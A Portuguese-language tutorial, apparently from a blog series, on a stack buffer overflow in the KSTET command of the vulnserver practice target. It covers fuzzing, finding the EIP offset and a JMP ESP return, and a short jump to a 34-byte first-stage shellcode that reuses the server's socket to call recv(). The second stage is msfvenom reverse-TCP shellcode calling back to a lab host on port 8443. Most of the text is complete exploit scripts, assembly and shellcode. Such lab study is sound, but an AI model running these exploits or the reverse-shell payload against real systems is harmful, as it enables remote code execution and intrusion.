COMANDO KSTET
O comando KSTET, assim como os demais, recebe um argumento e dá uma resposta. Neste comando temos um problema de espaço muito menor que os demais. Precisaremos pensar fora da caixa, portanto iremos explorar outa tecnica de exploração de buffer overflow.
FUZZING
Vamos reaproveitar nosso primeiro script de fuzzing, adaptando para o envio do comando KSTET.
fuzzing.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
from time import sleep
import sys
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
payload = b"KSTET " # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.send(payload + b"\r\n")
s.recv(1024)
s.close()
sleep(1)
payload = payload + b"A"*100
except:
print("Buffer estourado em %s bytes"%(str(len(payload))))
sys.exit()
Ao rodar nosso script, temos o retorno da quantidade de bytes para estouro de buffer.
Temos um offset de 206 bytes para causarmos o crash, vamos esboçar nosso script e testar com o vulnserver no Immunity Debugger.
xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
# payload
payload = b”KSTET ”
payload += b"A" * offset
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
# enviando payload
print("Enviando payload...")
s.send(payload + b”\r\n”)
s.close()
print("Payload enviado.")
Conseguimos sobrescrever o endereço de EIP, isso é ótimo, mas vamos seguir o dump hexa após o envio do KSTET.
Nós enviamos 206 “A” com nosso script, porém o buffer tem um espaço de 0x63, ou seja 99 bytes incluindo o comando KSTET.
Fazer saltos para o inicio do buffer não adiantaria, pois independente de onde cairmos, não teremos espaço para o shellcode. Fazer reuso do socket da forma que fizemos anteriormente também não funcionaria, pois mesmo diminuindo muito o tamanho, nosso shellcode ficou com pouco mais de 140 bytes.
Precisamos pensar fora da caixa, porém vamos seguir o plano e encontrar o offset para atingir o EIP como fizemos nos demais. Vamos criar a string com o msf-patter_create
.
1
2
$ msf-pattern_create -l 206
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag
Após atualizar nosso script, vamos medir o comportamento com o Immunity:
Atingimos o EIP em 63413363, vamos consultar no msf-pattern_offset
.
1
2
3
$ msf-pattern_offset -l 206 -q 63413363
[*] Exact match at offset 70
Temos um offset de 70 bytes para atingir o EIP, vamos atualizar nosso script e tesstar.
xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
# payload
payload = b"KSTET "
payload += b"A"*70
payload += b"B" * (offset - 70)
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
# enviando payload
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Se o offset estiver correto, nosso EIP será preenchido com os “B”.
Sobrescrevemos o EIP com sucesso, vamos procurar um bom endereço de retorno para ESP.
Encontramos nossos 9 bons endereços de retorno, podemos utilizar qualquer um, no meu caso utilizarei o 625011d3.
Vamos inserir o endereço de retorno no lugar de nossos “B” e monitorar o comportamento inserindo um breakpoint neste endereço.
xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
# payload
payload = b"KSTET "
payload += b"A"*70
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 70 - 4)
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
# enviando payload
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Caímos exatamente em nosso buffer de “C”, porém temos somente 13 bytes para aproveitar, absolutamente nada nos termos de exploit, mas temos um buffer de 70 bytes de “A”, o que também não é muita coisa, mas deixa espaço para sermos criativos.
Vamos calcular o salto para o buffer de “A” com o msf-nasm_shell, temos um salto de 74 bytes para fazer (70 bytes de “A” + 4 bytes do JMP ESP).
1
2
3
4
$ msf-nasm_shell
nasm > JMP $-74
00000000 EBB4 jmp short 0xffffffb6
Temos o short jump de \xeb\xb4. Vamos atualizar o script e monitorar. xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
# payload
payload = b"KSTET "
payload += b"A"*70 # buffer inicial
payload += b"\xd3\x11\x50\x62" # JMP ESP
payload += b"\xeb\xb4" # short jump
payload += b"\x90\x90" # padding do short jump
payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer
# criando conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
# enviando payload
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Caímos diretamente em nosso buffer de 70 bytes, mas e agora, o que fazer com 70 bytes?
Vamos pensar fora da caixa e dividir nosso exploit em dois estágios.
ESTÁGIO 1: REUSO DE SOCKET
Quando exploramos o comando GTER, nós reaproveitamos uma parte da função WinSocket para diminuir o tamanho do nosso shellcode para 128 bytes.
Para conseguirmos encaixar um shellcode em 70 bytes, precisamos reaproveitar algo mais.
Vamos analizar uma forma simplificada do protocolo TCP:
Diferentes funções são chamadas em cada lado de uma conexão, mas podemos ver que a troca de dados ocorre no final.
O que precisamos fazer no primeiro estágio é criar uma nova chamada para a função recv() do Windows e reutilizar o socket já criado pelo vulnserver que recebe conexões na porta 9999. Após isto, redirecioná-lo para o nosso estágio 2 que contém o shellcode.
Vamos analisar a estrutura da recv() cuja documentação pode ser lida aqui.
1
2
3
4
5
6
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
Onde:
- SOCKET s é o valor do socket handle;
- char *buf é o apontador onde os dados recebidos serão armazenados;
- int len é a quantidade total de dados esperados;
- int flags modifica o valor do recv(), em nosso caso será 0.
Com o próprio Immunity Debbuger podemos fazer isso, clicando com o botão direito no painel de CPU e selecionando “Search for > All intermodular calls”
, lá vamos procurar pelo destino “WS2_32.recv” e setar um breakpoint nele.
Agora criamos uma conexão simples a partir do nosso Kali utilizando o netcat.
No Immunity, podemos clicar duas vezes em nosso breakpoint e obter nossas informações.
Conseguimos os valores que precisávamos, o socket handle (104) e o endereço da recv() (0040252C).
Com os valores em mãos podemos escrever nosso Assembly.
estagio1.nasm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; recv()
sub esp. 64 ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever nosso shellcode
xor ebx, ebx ; Zerando EBX
push ebx ; Push no parametro 'flags' = 0
add bh, 4 ; Tornando EBX = 00000400 = 1024 bytes
push ebx ; Push do parametro 'len' = 1024 bytes
mov ebx, esp ; Movendo o apontador ESP para EBX
add ebx, 64 ; Apontando o EBX para o ESP original para torna-lo apontador para nosso estagio 2
push ebx ; Push no parametro '*buf' = Apontador para ESP+0x64
xor ebx, ebx ; Zerando EBX
add ebx, 104 ; Tornano EBX = 104, valor do socket handle
push ebx ; push no parametro 's'
mov eax, 0x40252c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos inserir o null byte '0x00'
shr eax, 8 ; Removendo 0x90 do EAX e transformando em 0x0040252c
call eax ; Cahamdno recv()
Tecnicamente preenchemos todos os parâmetros da função recv(), porém temos um problema: o valor do socket é um inteiro criado dinamicamente quando o programa roda.
Ou seja, enconramos o valor 104, mas na próxima execução ele vai mudar. Para passarmos por este problema, podemos fazer um update em nosso script para fazer um bruteforce do valor do socket iniciando em 0.
estagio1.nasm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; recv()
sub esp. 64 ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever nosso shellcode
xor edi, edi ; Zerando EDI
socket_loop: ; Inicio do bruteforce
xor ebx, ebx ; Zerando EBX
push ebx ; Push no parametro 'flags' = 0
add bh, 4 ; Tornando EBX = 00000400 = 1024 bytes
push ebx ; Push do parametro 'len' = 1024 bytes
mov ebx, esp ; Movendo o apontador ESP para EBX
add ebx, 64 ; Apontando o EBX para o ESP original para torna-lo apontador para nosso estagio 2
push ebx ; Push no parametro '*buf' = Apontador para ESP+0x64
inc edi ; Tornando EDI = EDI + 1
push edi ; Push no socket handle = EDI + 1
mov eax, 0x40252c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos inserir o null byte '0x00'
shr eax, 8 ; Removendo 0x90 do EAX e transformando em 0x0040252c
call eax ; Cahamdno recv()
test eax, eax ; Checando se a recv() foi teve sucesso
jnz socket_loop ; Se a recv() foi mal sucedida, volta para o inicio do loop
Agora podemos compilar com o nasm
.
1
$ nasm -f elf32 estagio1.asm -o estagio1.o
E sanitizar:
1
2
$ for i in $(objdump -d estagio1.o -M intel | grep '^ ' | cut -f2); do echo -n '\\x'$i;done
\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75
Temos um estágio 1 de apenas 34 bytes que cabe perfeitamente em nosso buffer, vamos atualizar nosso script.
xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
estagio1 = b"\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3"
# payload
payload = b"KSTET "
payload += b"\x90" * 5 # padding do estagio 1
payload += estagio1
payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial
payload += b"\xd3\x11\x50\x62" # JMP ESP
payload += b"\xeb\xb4" # short jump
payload += b"\x90\x90" # padding do short jump
payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer
# primeiro estagio
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando primeiro estagio...\n")
s.send(payload + b"\r\n")
s.close()
ESTÁGIO 2: INJETANDO O REVERSE SHELL
Nosso primeiro estágio já consumiu quase todo nosso pequeno buffer, como podemos enviar nosso próximo estágio?
Vamos usar lógica, o vulnserver é um servidor TCP, logo, ele aceita multiplas conexões, então podemos criar duas conexões distintas e enviar cada estágio em uma consexão.
Tudo que precisamos fazer agora é criar nosso reverse shell e enviá-lo logo após nosso primeiro estágio.
xplkstet.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python3
import socket
from time import sleep
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
estagio1 = b"\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3"
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=8443 exitfunc=thread -b '\x00' -v shellcode -f py
shellcode = b""
shellcode += b"\xbf\x3c\xce\x60\x4f\xdb\xd3\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xc0\x04\x31\x78\x0e"
shellcode += b"\x03\x44\xc0\x82\xba\x48\x34\xc0\x45\xb0\xc5"
shellcode += b"\xa5\xcc\x55\xf4\xe5\xab\x1e\xa7\xd5\xb8\x72"
shellcode += b"\x44\x9d\xed\x66\xdf\xd3\x39\x89\x68\x59\x1c"
shellcode += b"\xa4\x69\xf2\x5c\xa7\xe9\x09\xb1\x07\xd3\xc1"
shellcode += b"\xc4\x46\x14\x3f\x24\x1a\xcd\x4b\x9b\x8a\x7a"
shellcode += b"\x01\x20\x21\x30\x87\x20\xd6\x81\xa6\x01\x49"
shellcode += b"\x99\xf0\x81\x68\x4e\x89\x8b\x72\x93\xb4\x42"
shellcode += b"\x09\x67\x42\x55\xdb\xb9\xab\xfa\x22\x76\x5e"
shellcode += b"\x02\x63\xb1\x81\x71\x9d\xc1\x3c\x82\x5a\xbb"
shellcode += b"\x9a\x07\x78\x1b\x68\xbf\xa4\x9d\xbd\x26\x2f"
shellcode += b"\x91\x0a\x2c\x77\xb6\x8d\xe1\x0c\xc2\x06\x04"
shellcode += b"\xc2\x42\x5c\x23\xc6\x0f\x06\x4a\x5f\xea\xe9"
shellcode += b"\x73\xbf\x55\x55\xd6\xb4\x78\x82\x6b\x97\x14"
shellcode += b"\x67\x46\x27\xe5\xef\xd1\x54\xd7\xb0\x49\xf2"
shellcode += b"\x5b\x38\x54\x05\x9b\x13\x20\x99\x62\x9c\x51"
shellcode += b"\xb0\xa0\xc8\x01\xaa\x01\x71\xca\x2a\xad\xa4"
shellcode += b"\x5d\x7a\x01\x17\x1e\x2a\xe1\xc7\xf6\x20\xee"
shellcode += b"\x38\xe6\x4b\x24\x51\x8d\xb6\xaf\x9e\xfa\xb9"
shellcode += b"\x3e\x77\xf9\xb9\x60\x7c\x74\x5f\x0a\x92\xd1"
shellcode += b"\xc8\xa3\x0b\x78\x82\x52\xd3\x56\xef\x55\x5f"
shellcode += b"\x55\x10\x1b\xa8\x10\x02\xcc\x58\x6f\x78\x5b"
shellcode += b"\x66\x45\x14\x07\xf5\x02\xe4\x4e\xe6\x9c\xb3"
shellcode += b"\x07\xd8\xd4\x51\xba\x43\x4f\x47\x47\x15\xa8"
shellcode += b"\xc3\x9c\xe6\x37\xca\x51\x52\x1c\xdc\xaf\x5b"
shellcode += b"\x18\x88\x7f\x0a\xf6\x66\xc6\xe4\xb8\xd0\x90"
shellcode += b"\x5b\x13\xb4\x65\x90\xa4\xc2\x69\xfd\x52\x2a"
shellcode += b"\xdb\xa8\x22\x55\xd4\x3c\xa3\x2e\x08\xdd\x4c"
shellcode += b"\xe5\x88\xfd\xae\x2f\xe5\x95\x76\xba\x44\xf8"
shellcode += b"\x88\x11\x8a\x05\x0b\x93\x73\xf2\x13\xd6\x76"
shellcode += b"\xbe\x93\x0b\x0b\xaf\x71\x2b\xb8\xd0\x53"
estagio2 = shellcode + b"\x90" * (1024 - len(shellcode)) # preenchendo o restante do buffer de 1024 bytes com NOPs
# payload
payload = b"KSTET "
payload += b"\x90" * 5 # padding do estagio 1
payload += estagio1
payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial
payload += b"\xd3\x11\x50\x62" # JMP ESP
payload += b"\xeb\xb4" # short jump
payload += b"\x90\x90" # padding do short jump
payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer
# primeiro estagio
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando primeiro estagio...”)
s.send(payload + b"\r\n") # ativando o estagio 1
#s.recv(1024)
sleep(3)
print("Enviando segundo estagio...")
s.send(estagio2)
print("Payload enviado, cheque o netcat!")
Agora vamos setar o netcat para ouvir a porta 8443, rodar o vulnserver fora do Immunity e testar nosso exploit.
E conseguimos nosso reverse shell.
Neste comando, tivemos a experiência de um buffer estremamente pequeno, o que nos obrigou a pensar fora da caixa e reaproveitar funções do SO que já estão ativas no programa.
No próximo comando, vamos experimentar outra restrição.
GO GO GO!!!